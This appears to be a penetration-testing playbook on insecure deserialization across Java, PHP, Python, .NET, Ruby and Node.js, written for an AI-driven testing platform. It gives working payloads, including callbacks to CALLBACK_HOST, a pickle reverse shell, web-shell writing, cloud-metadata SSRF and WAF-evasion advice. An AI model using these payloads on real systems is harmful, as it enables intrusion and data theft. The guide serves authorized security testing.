| CWE | CWE-502 |
| WSTG | WSTG-INPV-04 |
| MITRE ATT&CK | T1059 |
| CVSS Range | 7.5-9.8 |
| Tools | ysoserial |
| Difficulty | 🔴 advanced |
Insecure Deserialization
Identify endpoints accepting serialized data and attempt to exploit deserialization flaws for code execution. Check cookies, request bodies, hidden form fields, WebSocket messages, and inter-service channels for base64-encoded or binary serialized objects.
Quick Reference​
Magic bytes and signatures for identifying serialization formats at a glance:
| Format | Hex Signature | Base64 Prefix | Content-Type |
|---|---|---|---|
| Java ObjectInputStream | AC ED 00 05 | rO0AB | application/x-java-serialized-object |
| .NET BinaryFormatter | 00 01 00 00 00 FF FF FF FF | AAEAAAD | -- |
| .NET ViewState | -- | /wEP | Hidden field __VIEWSTATE |
| Python Pickle (v2+) | 0x80 + protocol byte | gASV (v4) | -- |
| PHP serialize() | -- | Starts with O:, a:, s:, i: | -- |
JSON type discriminators (present in JSON bodies):
| Library | Key | Example |
|---|---|---|
| Jackson | @class | {"@class": "com.example.Gadget", ...} |
| Fastjson | @type | {"@type": "com.example.Gadget", ...} |
| Json.NET | $type | {"$type": "Namespace.Class, Assembly", ...} |
PHP serialization type indicators:
| Prefix | Meaning |
|---|---|
a:N:{} | Array with N elements |
O:N:"class":M:{} | Object with N-char class name, M properties |
s:N:"value" | String with N characters |
i:N | Integer |
b:0 / b:1 | Boolean |
N; | Null |
Detect Deserialization Entry Points​
Locate Serialized Data​
Systematically examine these locations for serialized data:
- Cookies -- Look for base64-encoded values matching known signatures. Decode and inspect for serialization patterns (Java magic bytes, PHP object notation, .NET ViewState).
- Hidden form fields -- Especially
__VIEWSTATEand__VIEWSTATEGENERATORin ASP.NET WebForms applications. - Request bodies -- Any non-JSON/XML content in POST bodies. Check Content-Type headers for
application/x-java-serialized-objector custom types. - Query parameters and path segments -- Base64-encoded blobs in URL parameters.
- WebSocket messages -- Binary frames may contain serialized objects.
- Caching headers -- May indicate objects are serialized for cache storage.
- Remember-me tokens -- Often contain serialized user/session data.
- Message queues -- If you can inject into message queue inputs, these often use binary serialization.
Fingerprint the Serialization Library​
- Send malformed serialized data and analyze error messages. Stack traces often reveal the exact deserialization class in use.
- Test with canary values that trigger type-specific errors (e.g., change a type indicator in PHP serialized data from
O:toX:and observe the error). - Review client-side JavaScript source for hints about backend technology and serialization libraries.
- Check HTTP response headers for framework fingerprints (e.g.,
X-Powered-By,Server) to narrow down the serialization ecosystem.
Send Detection Payloads​
Java -- Use the ysoserial URLDNS gadget to trigger a DNS lookup. This confirms deserialization occurs without needing a full RCE gadget chain. If you receive a DNS callback, the target deserializes your input.
PHP -- Send a malformed serialized string (e.g., truncate it mid-object) to trigger a parse error. The error message confirms unserialize() is in use.
Python -- Send a malformed pickle stream to identify pickle.loads() usage. Start with a safe payload that performs an import without executing anything destructive.
.NET -- For ViewState, check whether __VIEWSTATEGENERATOR is present and whether EnableViewStateMac is disabled. For BinaryFormatter, look for the AAEAAAD base64 prefix.
Exploit Java Deserialization​
Java deserialization vulnerabilities are among the most impactful. The ecosystem has numerous libraries with known gadget chains.
Identify Java Serialization​
# Base64 decoded starts with:
AC ED 00 05 (hex)
# Base64 encoded pattern:
rO0AB...
Generate Payloads with ysoserial​
# List available gadgets
java -jar ysoserial.jar
# Generate payload for Commons Collections
java -jar ysoserial.jar CommonsCollections5 'curl http://CALLBACK_HOST/confirm' | base64
Gadget chains by target library:
| Gadget | Required Library |
|---|---|
| CommonsCollections1-7 | Apache Commons Collections 3.x/4.x |
| CommonsBeanutils1 | Apache Commons Beanutils |
| Spring1, Spring2 | Spring Framework |
| Hibernate1, Hibernate2 | Hibernate ORM |
| JRMPClient | Java RMI (useful for bypassing egress restrictions) |
| Jdk7u21 | JDK 7u21 and below (no external dependencies) |
Select the Right Gadget Chain​
- Start with URLDNS (no library dependencies, confirms deserialization occurs).
- If callback received, escalate to RCE gadgets.
- Try CommonsCollections variants first (most commonly available).
- Fall back to framework-specific gadgets (Spring, Hibernate).
- Use JRMPClient for blind RCE confirmation when direct output is unavailable.
Exploit Jackson Polymorphic Deserialization​
Requires enableDefaultTyping() or @JsonTypeInfo annotation on the target class.
{
"@class": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://CALLBACK_HOST/Exploit",
"autoCommit": true
}
Exploit Fastjson​
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://CALLBACK_HOST/Exploit",
"autoCommit": true
}
Multiple version-specific bypasses exist for Fastjson's blacklist-based defenses. Enumerate the exact Fastjson version through error messages and research applicable bypasses.
Exploit XMLDecoder​
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>curl http://CALLBACK_HOST/confirm</string></void>
</array>
<void method="start"/>
</void>
</java>
Exploit PHP Deserialization​
PHP deserialization attacks abuse magic methods to build Property Oriented Programming (POP) chains that reach dangerous sinks like eval(), system(), or file_put_contents().
Identify Exploitable Magic Methods​
| Method | Trigger |
|---|---|
__wakeup() | Called during unserialize() |
__destruct() | Called when object is destroyed |
__toString() | Called when object is cast to string |
__call() | Called when an inaccessible method is invoked |
__get() / __set() | Called for inaccessible property access |
Build POP Chains​
- Identify classes in the application or its frameworks that implement dangerous magic methods.
- Map property dependencies between classes -- how one object's property references another.
- Chain objects so that deserialization triggers a sequence from entry magic method to dangerous sink.
- Serialize the crafted object graph.
Test POP Chain Payloads​
# Targeting a class with dangerous __destruct
O:14:"CacheHandler":1:{s:8:"filename";s:11:"/tmp/pwned";}
# Object injection with nested objects
O:4:"User":1:{s:7:"profile";O:11:"FileHandler":1:{s:4:"path";s:11:"/etc/passwd";}}
Exploit Phar Deserialization​
The phar:// stream wrapper triggers unserialization when PHP reads phar metadata. Use this when unserialize() is not directly reachable but file operations accept attacker-controlled paths.
Requirements:
- File upload capability (any extension -- disguise as image, PDF, etc.)
- A file operation that uses an attacker-controlled path (e.g.,
file_exists(),is_file(),file_get_contents()) phar.readonly=0or a pre-existing phar file on disk
Attack steps:
- Create a malicious phar archive with the POP chain serialized in its metadata.
- Upload as an allowed file type (e.g.,
image.jpg). - Trigger a file operation:
file_exists('phar://uploads/image.jpg'). - PHP deserializes the phar metadata, executing the POP chain.
Generate Payloads with PHPGGC​
# List available gadget chains
phpggc -l
# Generate Laravel RCE payload
phpggc Laravel/RCE1 system 'id' -b
# Generate Symfony payload
phpggc Symfony/RCE1 system 'id' -b
Common framework chains:
| Chain Family | Target |
|---|---|
| Laravel/RCE1-10 | Various Laravel versions |
| Symfony/RCE1-4 | Symfony framework |
| WordPress/RCE1-2 | WordPress and plugins |
| Doctrine/FW1 | Doctrine ORM (file write) |
| Drupal/RCE1 | Drupal CMS |
Exploit Python Deserialization​
Python's pickle module is inherently unsafe with untrusted data. The __reduce__ method allows arbitrary code execution during unpickling. There is no safe way to use pickle with untrusted input.
Identify Pickle Usage​
# Pickle opcodes (protocol 0 -- text-based):
(cos\nsystem\n(S'id'\ntR.
# Protocol 2+ starts with:
0x80 followed by protocol number byte
# Base64 patterns:
gASV (protocol 4)
Craft Basic Pickle RCE Payload​
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('curl http://CALLBACK_HOST/confirm',))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())
Craft Advanced Pickle Payloads​
# Reverse shell payload
class RCE:
def __reduce__(self):
import subprocess
return (subprocess.Popen, (
['bash', '-c', 'bash -i >& /dev/tcp/CALLBACK_HOST/4444 0>&1'],
))
# Using builtins for cleaner payload
class RCE:
def __reduce__(self):
return (eval, ("__import__('os').system('id')",))
Exploit PyYAML​
These payloads work when the target uses yaml.load() with Loader=yaml.Loader (the unsafe default in older versions) or yaml.unsafe_load().
# Direct command execution
!!python/object/apply:os.system ['id']
# Using subprocess
!!python/object/apply:subprocess.check_output [['id']]
# Complex payload using module import
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('id')"
Note: yaml.safe_load() is not vulnerable. If you see yaml.safe_load() in source code or error messages referencing SafeLoader, this attack vector is mitigated.
Exploit .NET Deserialization​
.NET has multiple dangerous serializers. BinaryFormatter is the most notorious, but SoapFormatter, LosFormatter, ObjectStateFormatter, and Json.NET with TypeNameHandling enabled are equally dangerous.
Exploit ViewState (ASP.NET WebForms)​
- Locate the hidden
__VIEWSTATEfield in page source. - Check if
__VIEWSTATEGENERATORis present (indicates MAC key generation). - Determine if ViewState MAC validation is enabled or disabled.
- If MAC is disabled or the key is known, generate a malicious ViewState payload.
- Replace the
__VIEWSTATEvalue and submit the form.
Finding the MAC key:
- Look for
web.configfile disclosure (directory traversal, backup files, source code leaks). - Try known default or weak keys.
- Check for padding oracle vulnerabilities that could allow decryption.
Exploit BinaryFormatter​
Look for the AAEAAAD base64 prefix or 00 01 00 00 00 FF FF FF FF hex signature.
Exploit Json.NET with TypeNameHandling​
When Json.NET is configured with TypeNameHandling.Auto, TypeNameHandling.All, or TypeNameHandling.Objects, type information in $type fields is used to instantiate objects.
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList",
"$values": ["calc"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
Generate Payloads with ysoserial.net​
# List available formatters and gadgets
ysoserial.exe -h
# Generate BinaryFormatter payload
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "ping CALLBACK_HOST"
# For ViewState (when MAC disabled)
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "ping CALLBACK_HOST"
Common gadgets:
| Gadget | Requirement |
|---|---|
| TypeConfuseDelegate | .NET Framework 4.5+ |
| PSObject | PowerShell environments |
| TextFormattingRunProperties | Requires specific WPF assemblies |
| ActivitySurrogateSelector | Windows Workflow Foundation |
Exploit Ruby Deserialization​
Exploit Marshal.load​
Marshal.load with untrusted data allows arbitrary object instantiation. The gadget chains depend on available gems and Ruby version.
# Universal gadget (requires specific ERB version)
require 'erb'
class Exploit
def initialize
@template = "<%= system('id') %>"
end
end
payload = Marshal.dump(Exploit.new)
Exploit YAML.load (Psych)​
Ruby's YAML.load (using the Psych parser) allows arbitrary object instantiation through YAML tags.
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
uri: "| id"
Note: YAML.safe_load is not vulnerable. Check which method the target uses.
Exploit Node.js Deserialization​
Exploit node-serialize​
The node-serialize library executes JavaScript functions embedded in serialized data via the _$$ND_FUNC$$_ marker.
// Serialized function execution (IIFE -- immediately invoked)
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}
Exploit funcster​
// IIFE in serialized data
{"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id')}()"}
Exploit cryo​
The cryo library can also be abused through prototype pollution and constructor manipulation in serialized objects. Examine the library version and research known payloads.
Confirm Blind Deserialization​
When no direct output is available from exploitation, use these techniques to confirm code execution.
Use Time-Based Confirmation​
Introduce a measurable delay during deserialization. If the response time increases by the specified amount, execution is confirmed.
# Python: time-based confirmation
class RCE:
def __reduce__(self):
return (__import__('time').sleep, (10,))
For Java, use Thread.sleep within a gadget chain. For PHP, trigger sleep() through a POP chain method.
Use HTTP Callback​
Use the built-in manage_ssrf_callbacks MCP tool to receive out-of-band confirmation.
result = mcp__pter-api-server__manage_ssrf_callbacks(action="create")
# Use result["callback_url"] in the deserialization payload
- Java: URLDNS gadget triggers a DNS lookup; for HTTP confirmation use gadgets that invoke
URL.openConnection(). - PHP: Craft an object whose magic method calls
file_get_contents()orcurl_exec()to the callback URL. - Python: Pickle payload that imports
urlliband performs a GET request to the callback URL. - .NET: Use gadgets that invoke
WebClientto the callback URL.
Use File-Based Confirmation​
Write a marker file to a web-accessible location, then verify its existence through a separate HTTP request. Use this when outbound network connections are blocked.
Bypass Deserialization Filters​
Modern applications may implement deserialization filters. Apply these bypass strategies.
Bypass Java Look-Ahead Filters​
- Java's
ObjectInputFilter(JEP 290) checks class names before full deserialization. - Some gadget chains use nested objects to delay dangerous class loading past the filter check.
- Research bypass techniques specific to the filter implementation version.
Bypass Class Blacklists​
- Enumerate which classes are blocked by analyzing error messages when known gadgets are rejected.
- Use alternative classes that achieve the same effect but are not on the blacklist.
- Combine multiple lesser-known classes to construct novel gadget chains.
Bypass via Encoding Manipulation​
- Try alternative serialization encodings (e.g., switch between standard Java serialization and XML-based serializers).
- Wrap payloads in compression layers (GZIPInputStream) that are decompressed before filtering.
- Exploit lenient parsers that accept malformed input to smuggle payloads past signature-based detection.
Evade WAF/IDS Detection​
- Modify payload structure (reorder fields, add padding) while preserving functionality.
- Use alternative gadget chains that have different byte signatures.
- Encode the payload differently (double-encoding, alternate base64 alphabets).
- Fragment the payload across multiple parameters if the application concatenates them before deserialization.
Assess Impact​
Progress through these verification levels to establish maximum severity.
Level 1 -- Confirmed Deserialization​
- Objective: Prove the application deserializes attacker-controlled data.
- Method: Trigger observable behavior differences with manipulated serialized data. Submit malformed data and observe deserialization errors, type confusion, or behavioral changes.
- Evidence: Error messages referencing deserialization classes, stack traces showing
readObject(),unserialize(),pickle.loads(), etc.
Level 2 -- Callback/DNS Confirmation​
- Objective: Achieve out-of-band communication during deserialization.
- Method: Use gadgets that trigger DNS lookups or HTTP requests to controlled infrastructure.
- Evidence: DNS queries or HTTP callbacks received at your callback server with the unique identifier you embedded.
Level 3 -- Limited Code Execution​
- Objective: Execute arbitrary commands with potential restrictions.
- Method: Use RCE gadgets with simple commands (
whoami,hostname,id). - Evidence: Command output visible in the response body, in error messages, or confirmed through callback data.
Level 4 -- Full Code Execution​
- Objective: Demonstrate unrestricted command execution capability.
- Method: Read sensitive files, write to the filesystem, or exfiltrate data.
- Evidence: Contents of
/etc/passwd, application configuration files, or data written to a web-accessible path.
Chain with Other Vulnerabilities​
Deserialization to SSRF to internal compromise: When direct RCE gadgets fail, use deserialization to trigger SSRF (e.g., JdbcRowSetImpl in Java). Target internal metadata services (169.254.169.254 on AWS, equivalent on Azure/GCP), admin panels, or other internal services.
Deserialization to file write to RCE: When code execution gadgets are blocked, find file write gadgets (less commonly filtered). Write a web shell to the document root and access it for command execution.
Write the Proof of Concept​
- Always start with the lowest-impact confirmation payload (URLDNS, DNS callback, time delay) before escalating to RCE.
- Use unique identifiers in every callback payload so you can correlate responses to specific injection points.
- For RCE confirmation, execute only safe, read-only commands (
id,whoami,hostname). Do not modify target state. - Document the exact payload used, the encoding applied, the injection point, and the evidence of execution.
- Record the gadget chain and library version that succeeded -- this is critical for the vulnerability report.
- If the target is in a containerized or serverless environment, note the constraints: limited filesystem, restricted egress, ephemeral execution.
Tools​
Use Exploitation Tools​
Java:
| Tool | Purpose |
|---|---|
| ysoserial | Primary Java deserialization exploitation. Dozens of gadget chains for common libraries. |
| ysoserial-modified | Extended version with additional gadgets and bypass techniques. |
| marshalsec | Marshalling-based exploitation. Includes JNDI server for LDAP/RMI chains. |
| JNDI-Injection-Exploit | Simplified JNDI injection. Useful for Jackson/Fastjson exploitation. |
| JexBoss | JBoss and Java app server exploitation framework with deserialization modules. |
| SerializationDumper | Parse and analyze Java serialized data. Use to understand existing objects before crafting exploits. |
PHP:
| Tool | Purpose |
|---|---|
| PHPGGC | PHP Generic Gadget Chains for Laravel, Symfony, WordPress, Drupal, and more. |
| Phar creation scripts | For crafting malicious phar archives when unserialize() is not directly reachable. |
Python:
| Tool | Purpose |
|---|---|
| fickling | Pickle decompiler and analysis. Useful for understanding pickle payloads and crafting custom exploits. |
| Custom payload generators | Often necessary to craft payloads matching specific target environment constraints. |
.NET:
| Tool | Purpose |
|---|---|
| ysoserial.net | .NET equivalent of ysoserial. Supports BinaryFormatter, SoapFormatter, LosFormatter, ObjectStateFormatter, and Json.NET. |
| ViewState exploitation tools | For ASP.NET ViewState attacks when MAC is disabled or the key is known. |
Use Detection and Analysis Tools​
| Tool | Purpose |
|---|---|
| Burp Suite - Java Deserialization Scanner | Automatic detection and exploitation of Java deserialization. |
| Burp Suite - Freddy | Detects deserialization across various formats. |
| Burp Suite - Java Serial Killer | Enhanced Java deserialization exploitation. |
| SerialDetector | Network traffic analysis for serialization pattern identification. |
Set Up Callback Infrastructure​
Use the built-in callback service for confirming blind exploitation:
| Service | Type |
|---|---|
| manage_ssrf_callbacks (MCP tool) | HTTP callback — self-hosted, private, integrated with the platform. Use action="create" to generate a callback URL |
| Webhook.site | Free HTTP callback capture (fallback only) |
| RequestBin | HTTP callback capture (fallback only) |
| Custom DNS server | Full control over DNS exfiltration |
Prioritization​
Test these first (highest real-world exploitability)​
- Java deserialization via known gadget chains -- EPSS >0.9 for Java deserialization CVEs (e.g., Apache Commons Collections, Spring, WebLogic). Use ysoserial to generate payloads. Look for
rO0AB(base64) orAC ED(hex) signatures in cookies, headers, and request bodies. - .NET ViewState deserialization -- If
__VIEWSTATEis present and MAC validation is weak or the machine key is known, this is directly exploitable for RCE. Check/wEPbase64 prefix. - Python pickle in cookies or session data --
gASVbase64 prefix indicates pickle v4. Python pickle deserialization is trivially exploitable for RCE with no gadget chain required.
Test these if time permits (lower exploitability)​
- PHP object injection via
unserialize()-- Requires knowledge of available classes with exploitable magic methods (__wakeup,__destruct). Check forO:prefix in serialized data. - Ruby Marshal.load exploitation -- Look for
\x04\x08magic bytes. Requires specific gadget chains available in the Ruby runtime. - YAML deserialization in configuration endpoints -- Python's
yaml.load()(withoutSafeLoader) and Ruby'sYAML.loadcan execute arbitrary code. Niche but critical when found.
Skip if​
- No serialized data signatures are found in any request/response (cookies, parameters, headers)
- Application uses only JSON for data interchange with no binary or custom serialization
Note: Node.js/TypeScript applications are not immune -- node-serialize, unsafe js-yaml loading, and prototype pollution via JSON merge operations are exploitable. Check for these patterns even in JavaScript-only codebases.
Asset criticality​
Deserialization leading to RCE is always Critical regardless of endpoint. Prioritize by attack surface exposure: internet-facing endpoints accepting serialized data > inter-service communication channels > admin-only endpoints. Any confirmed deserialization vulnerability should be immediately escalated.